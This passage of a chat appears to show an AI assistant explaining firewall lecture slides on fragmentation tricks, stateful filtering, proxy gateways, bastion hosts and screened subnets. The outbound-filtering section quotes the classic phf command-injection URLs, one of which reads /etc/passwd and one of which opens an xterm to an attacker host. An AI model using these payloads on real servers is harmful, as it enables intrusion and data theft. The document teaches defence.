- It may **ignore Fragment 2** or **not correlate** them.
- But the **destination host** follows IP reassembly logic:
    - Reassembles all fragments
    - If there's an **overlap**, **later fragments overwrite earlier ones**

➡️ Now the **reassembled TCP packet** has a **SYN** flag set — exactly what the firewall was supposed to block.

📦 Real Example

Imagine:

Fragment	Offset	TCP Flag Byte (Byte 13 of TCP Header)
Frag 1	0	`00010000` (ACK)
Frag 2	8 (overlaps byte 13)	`00000010` (SYN)

After reassembly, byte 13 becomes: `00000010` — SYN only.

🛡️ Why It's Dangerous

- Firewall **doesn't track full connection state** (stateless)
- Doesn't see **reassembled version** — just sees each fragment
- Allows **ACK packets from outside** (reply to legit inside connections)
- So attacker **sneaks in a SYN packet**, tricking the server into **accepting a new connection from outside**

🧠 In Prof's Words:

> "Both fragments have the ACK bit set... but fragment offsets are messed up. When reassembled, the SYN bit is set."

🧩 Visualization (Textual)

```less
[Frag1]
|--- IP Header ---|--- TCP Header (ACK) ---|--- payload ---|
(offset 0)

[Frag2]
              (offset 8) -> overwrites middle of TCP Header!
                            sets SYN bit here
```

Would you like this illustrated as a visual byte offset diagram or LaTeX table?

explain slide 19,20 from prof's lecture

Absolutely — let's walk through **Slides 19 and 20** in detail, incorporating both the **content of the slides** and the **professor's explanations** from the lecture.

🔁 Slide 19: Session Filtering (aka Stateful Packet Filtering)

🧱 Slide Summary

> "Decision is still made per packet, but in the context of a connection"

Unlike simple packet filters (stateless), session filters **maintain state** about active TCP connections, allowing them to:

- Recognize whether a packet belongs to an existing session
- Apply different rules to new vs. ongoing connections
- Block spoofed or unrelated traffic

🔍 Professor's Explanation

The professor explained this transition from **stateless** to **stateful** filtering as a necessary improvement:

> "The main problem is that a packet filtering firewall does **not know the state** of the connection."

So:

- Stateless firewalls might see a packet to port 5151 and **not know**:
  - Is it a response to a legitimate outgoing connection?
  - Or is it unsolicited traffic from an attacker?

✅ What Session Filtering Adds:

1. **Maintains a dynamic connection table**
   - Records source/destination IPs and ports
   - Tracks TCP state (e.g., SYN sent, ACK received, ESTABLISHED)
2. **Makes packet-level decisions**
   - Still per-packet, but checks against the session table
3. **Filters more intelligently**
   - E.g., only allow traffic to high-numbered ports (1024+) **if** it's part of a session initiated from inside

---

🚫 Limitations (as discussed in lecture)

1. **Still hard for UDP or ICMP**
   - These are stateless protocols (no sessions), so connection tracking is ambiguous
2. **Still vulnerable to tunneling**
   - IP tunneling (e.g., via IPsec) may bypass visibility if not terminated at the firewall
3. **Overhead**
   - Slower than stateless filtering due to per-session bookkeeping

---

📊 Slide 20: Connection State Table Example

The slide shows a sample of what a **stateful firewall** might track for TCP connections:

Source IP	Src Port	Destination IP	Dst Port	State
192.168.1.2	51721	204.67.42.51	80	Established
192.168.1.2	51722	204.67.42.52	80	Established
192.168.1.2	51723	204.67.42.53	25	Established
192.168.1.2	51724	204.67.42.54	79	Established

🧠 Professor's Commentary on the Table

- All source ports >1023 → typical of **client-initiated** connections
- Destinations include:
  - **Port 80** = HTTP (web)
  - **Port 25** = SMTP (email)
  - **Port 79** = Finger (legacy protocol to query user info)

> "Finger is a 1980s service — if you see `fingerd` running, kill it!"

🔥 His point: The table records **real-time** state — which is **dynamic**, unlike filtering rules which are static or semi-static.

🧠 Summary: Slide 19 vs. 20

Feature	Slide 19 (Concept)	Slide 20 (Implementation)
What is it?	Session-aware packet filtering	Example state table
Purpose	Smarter decisions per connection	Track which connections are live
Benefit	Blocks unsolicited packets, avoids spoofing	Allows ACKs only for real sessions
Professor's Notes	"A spurious packet not in the table is dropped"	"This is a dynamic, real-time data structure"

Let me know if you'd like this turned into a diagram (e.g., connection state tracking flowchart) or a side-by-side comparison of stateless vs. stateful filtering.

explain slide 21-23

Excellent — let's now walk through **Slides 21 to 23**, which discuss **proxy-based firewalls**, including **circuit-level gateways**, **application-level gateways**, and a **comparison table**. I'll combine both the **slide content** and the **professor's live lecture explanations** so you get the full picture.

🔌 Slide 21: Circuit-Level Gateway

🧱 Slide Summary:

- Splices two **TCP connections**
- Doesn't inspect **application data**
- Works at **transport layer**
- Faster than application-level gateways
- Requires applications to support **SOCKS** protocol

🧠 Professor's Explanation:

- A **circuit-level gateway** intercepts the TCP connection:
  - It ends the connection from the external client **at the gateway**
  - Then **initiates a new connection** from the gateway to the internal host

  "It's like stitching two TCP connections together — one from client to firewall, one from firewall to server."

- Does **not** parse or understand the application protocol (e.g., doesn't care if it's HTTP or FTP)
- Works **below the application layer**, using tools like **SOCKS** (defined in RFC 1928)
- **Faster** than application proxies, but **less secure** and **less intelligent**

🔧 Requires:

- Slight modification to applications (e.g., recompile with SOCKS support)
- Can't work with arbitrary apps unless they support socket redirection

---

🌐 Slide 22: Application-Level Gateway

🧱 Slide Summary:

- Also known as **application proxies**
- Understands specific application protocols (e.g., HTTP, FTP, SMTP)
- Can enforce **application-specific rules**
- Slower, but provides deep inspection and **user authentication**

🧠 Professor's Explanation:

> "This is the **most powerful**, but also the **slowest** approach."

- Each supported application (e.g., HTTP, Telnet) has a **dedicated proxy module**
- Intercepts and terminates client connection **at the proxy**
- Examines **everything**: HTTP headers, FTP commands, email headers, etc.
- Allows:
  - **Command filtering** (e.g., only allow `GET`, block `DELETE`)
  - **Pattern matching** (e.g., block JPEG uploads)
  - **User login before access** (authentication)
- Great for **audit logging and control**
- If an application is **not supported by the proxy**, its traffic is **blocked by default**

> "If you try to use a weird app or port, and there's no proxy for it, the gateway says: nope!"

📊 Slide 23: Comparison Table

Feature	Packet Filter	Session Filter	Circuit-Level Gateway	Application-Level Gateway
Modify client application?	❌ No	❌ No	⚠️ Yes (e.g., use SOCKS)	✅ Yes (needs proxy compatibility)
Defends against fragmentation attacks?	❌ No	❌ Maybe	✅ Yes	✅ Yes
Performance	✅ Best	⚠️ Moderate	❌ Slower	🚨 Worst (slowest)

🧠 Professor's Commentary:

- **Packet filters** are the **fastest**, but **dumbest**
- **Application gateways** are **smartest**, but **very slow**
- **Circuit-level gateways** are the **middle ground**
- **Only the last two** (circuit-level and application-level) effectively **defend against fragmentation attacks**
  - Because they **fully reassemble** and inspect packets

- Also noted that **application gateways require modifying client apps**, or deploying **custom proxies** per app

---

🧠 Key Takeaways

Aspect	Circuit-Level	App-Level
Layer	Transport (TCP)	Application
Visibility	Sees **session structure**	Sees **actual commands**
Client changes	Requires SOCKS	Requires full app compatibility
Example	Telnet or HTTP through SOCKS	HTTP proxy blocking certain URLs
Strength	Can block malformed TCP	Can block malicious input (SQLi, shell cmd)
Weakness	Doesn't parse app content	Slow, complex, brittle with unsupported apps

---

Let me know if you'd like this comparison turned into a LaTeX table or a flowchart showing how connections are spliced and proxied!

explain slide 24

Absolutely — let's break down **Slide 24**: **"Why Filter Outbound Connections?"**, using both the **slide content** and the **professor's detailed lecture explanation**.

📤 Slide 24: Why Filter Outbound Connections?

💡 Core Message:

Most people focus on filtering **incoming traffic** (e.g., block attackers), but **outgoing traffic** can also be dangerous and must be filtered.

📜 Slide Example: The Whitehouse.gov Exploit

🔎 What Happened:

1. **Whitehouse.gov** had a CGI script: **`phf`** (a phonebook-like query handler).
2. It failed to **sanitize user input**, especially the **`%0a`** character:
    - **`%0a`** = **newline character** in URL encoding
3. An attacker crafted a URL like:

```http
http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

4. The `%0a` split the request into **two lines**:
    - Line 1: benign query
    - Line 2: system command → `cat /etc/passwd`
5. The web server executed the command and **printed the password file** back to the attacker.

🧠 Professor's Breakdown of the Attack:

- The web server **allowed outbound connections** (e.g., for legitimate email, file transfers, etc.)
- Once compromised, it could be **used to send sensitive info out**, or even open a **remote shell**
- The attacker inserted malicious shell commands using **URL-encoded control characters**
- The firewall didn't stop it because:
    - The **request was inbound**, so it was allowed
    - The **response was outbound**, and **no restrictions existed**

🔥 Even Worse Example (from prof):

```http
http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20attacker.ip:0.0
```

- This command:
    - Starts an **X-Windows session**
    - Opens a **graphical window** on the attacker's machine
    - Grants GUI-level access into the White House server

➡️ The attack uses the **server itself to initiate an outbound connection** to the attacker!

🚨 Why This Is a Big Deal

⚠️ Risks of Unfiltered Outbound Traffic:

- **Exfiltration** of sensitive files (e.g., `/etc/passwd`)
- **Command-and-control (C2)** channels for malware
- **Opening remote shells**
- **Launching attacks on other internal/external systems**

✅ Best Practices (Implied by Professor):

- Apply **strict outbound filtering rules**, just like inbound ones.
- If a server doesn't need to connect outward — **block it**.

- Treat web apps and dynamic content like **CGI scripts** as high-risk:
  - Sanitize inputs
  - Audit outputs
  - Limit what system commands they can access

🧠 Summary

Concept	Explanation
Problem	Web server allows unsanitized inputs to be interpreted as shell commands
Technique	URL-encoded newline (`%0a`) splits HTTP query into multiple lines (command injection)
Exploit	Sends command like `/bin/cat /etc/passwd` — response sent outbound
Firewall flaw	Outbound traffic was **not filtered**, so data escaped
Professor's advice	"Firewall should care not just what comes in — but also what goes out."

Let me know if you want this example redrawn as a network diagram or turned into a slide for your notes.

explain slide 25-27 bastion host

Great — let's now walk through **Slides 25 to 27**, which cover the **Bastion Host** architecture, using both the **slide content** and your professor's rich explanations from the lecture.

🛡️ Slide 25: Bastion Host Concept

📌 What Is a Bastion Host?

A **bastion host** is a **highly hardened, exposed server** that:

- Implements **application-level gateway functions**
- Is protected by a **packet-level firewall**
- Acts as the **only permitted entry and exit point** between internal and external networks

---

🔐 Professor's Explanation:

> "Think of it as a **fully loaded, security-focused server** that stands at the boundary — not just filtering packets, but **inspecting and controlling application-level content**."

🧱 Key Features (from both slide and lecture):

- Runs **only essential services** (everything else is turned off)

- Each **proxy is application-specific** (e.g., HTTP proxy, SMTP proxy)
- Logs and audits every command
- Restricts file system access
- Runs as a **non-privileged user** inside **separate directories**
- Supports **user authentication**
- All traffic **must flow through the bastion host**

🔥 Slide 26: Single-Homed Bastion Host

🧭 What This Architecture Looks Like:

- One interface connects bastion host to **both** the internal network and DMZ
- The **packet filtering firewall** is in front

⚠️ Professor's Warning:

> "If the packet filter is compromised, traffic can flow directly into the internal network."

- Because there's only **one network interface**, the bastion host has no way to stop bad traffic if the packet filter fails.
- The bastion host **depends entirely on the outer firewall** doing its job correctly.

🔐 Slide 27: Dual-Homed Bastion Host

🧭 What This Architecture Adds:

- Bastion host now has **two physical interfaces**:
  - One to the **external network/DMZ**
  - One to the **internal network**

✅ Security Benefits:

> "Even if the packet filtering router fails or is bypassed, there's **no physical path** from the external network to the internal network unless it goes through the bastion host."

- The **firewall only allows traffic addressed to/from the bastion host**
- The **bastion host mediates** all traffic and applies application-level inspection, logging, and access control

---

🧠 Summary Table

Feature	Single-Homed Bastion Host	Dual-Homed Bastion Host
Network Interfaces	1	2
Relies on Packet Filter?	✅ Yes (fully)	⚠️ Less — has its own physical separation
Internal-External Separation	❌ Can be bypassed if firewall fails	✅ Strong — no direct connection
Use Case	Simpler, cheaper setups	Higher-security, enterprise/government setups

---

🎯 Professor's Key Takeaways:

- "The bastion host is the **last line of defense** — if the firewall fails, this is what you're left with."
- "All traffic should go **through** it, never around it."
- "It must be **hardened**: sealed USB ports, no unnecessary services, separate proxy processes, non-root execution."

Let me know if you'd like a diagram or LaTeX summary of these three slides to drop into your notes.

explain slide 28 to onwards

Absolutely — let's now walk through **Slide 28 to the end (Slide 30)** from **`LEC7-firewalls.pdf`**, combining slide content with the professor's full lecture commentary.

🛡️ Slide 28: Screened Subnet

🔧 What Is a Screened Subnet?

A **screened subnet** is a **network architecture** where:

- There are **two firewalls** (or two filtering layers)
- The **DMZ (Demilitarized Zone)** is isolated between them
- The **internal network is not directly accessible** from outside

---

🧠 Professor's Explanation:

> "Only the screened subnet is visible to the external network — the internal network is **invisible and unreachable**."

🧱 Structure:

```less
[Internet]
     |
[External Firewall]
     |
[Screened Subnet] (DMZ: Web Server, Bastion Host, etc.)
     |
[Internal Firewall]
     |
[Private Network]
```

✅ Benefits:

- If either firewall is compromised, the attacker still can't directly reach the internal network
- Makes it harder to pivot from DMZ to internal systems
- Great for high-security environments (e.g., government, finance)

🔒 Slide 29: Protecting Addresses and Routes

📌 What Is the Goal?

To **hide internal network topology and IP addresses** from the outside world.

🔐 Techniques the Slide Mentions:

1. **Expose only necessary IPs**
   - E.g., only the IP of a public web server
   - Keep internal IPs private
2. **Use NAT (Network Address Translation)**
   - Rewrites packet headers to **mask source IP addresses**
   - Example:
     - Internal IP `10.0.0.5` becomes `203.0.113.2` to the outside world
   - Can use **1:1 or N:1 mapping**
3. **Filter route announcements**
   - Don't leak internal routing info via BGP or IGP
   - Prevent **route injection attacks** where a malicious external router claims to be a shortcut to internal systems

---

🧠 Professor's Insights:

> "Revealing your network layout makes spoofing easier — keep your IPs and routes secret."

- Internal hosts shouldn't be **advertised** via dynamic routing protocols

- NAT helps **enforce boundary control**, and the bastion host can **act as the NAT translator**

⚠️ Slide 30: General Problems with Firewalls

🚫 What Firewalls Cannot Do

Despite all their power, firewalls have serious limitations:

Problem	Description
🔄 Break applications	Some apps (e.g., VoIP, P2P) don't work well with strict filtering
🐞 Vulnerable to bugs	A firewall can't fix buffer overflows or bad input validation
👤 Can't stop insider threats	If an employee plugs in a USB and walks off with data, firewall is useless
📥 Can't stop malware entering internally	Especially via phishing, USB, or rogue apps
💣 Can't block DoS	If rules allow access to a service, attacker can flood it with traffic
⚙️ Complex to configure	Rulesets get long, contradictory, and hard to audit
👷 Needs expertise	Admins need to know what they're doing — mistakes are costly

---

🧠 Professor's Final Comments:

- "Firewalls can't prevent malware **leaving** via USB."
- "If a doofus plugs in an infected stick at work, and malware spreads — firewall won't help."
- "Even **ML** is now being used to detect misconfigured rulesets."
- "In the end, firewalls are just **one layer** — not a magic bullet."

🧠 Final Takeaways from Slides 28–30

Slide	Topic	Key Point
28	Screened Subnet	DMZ is isolated between two firewalls; internal network is invisible
29	Protecting IPs and Routes	Use NAT; expose minimal info; hide routing data
30	Limitations	Firewalls are powerful but blind to many attacks; require careful config & layered defense

---

Let me know if you want a final summary diagram of firewall architectures (basic vs. bastion vs. screened subnet), or a LaTeX version for your notes.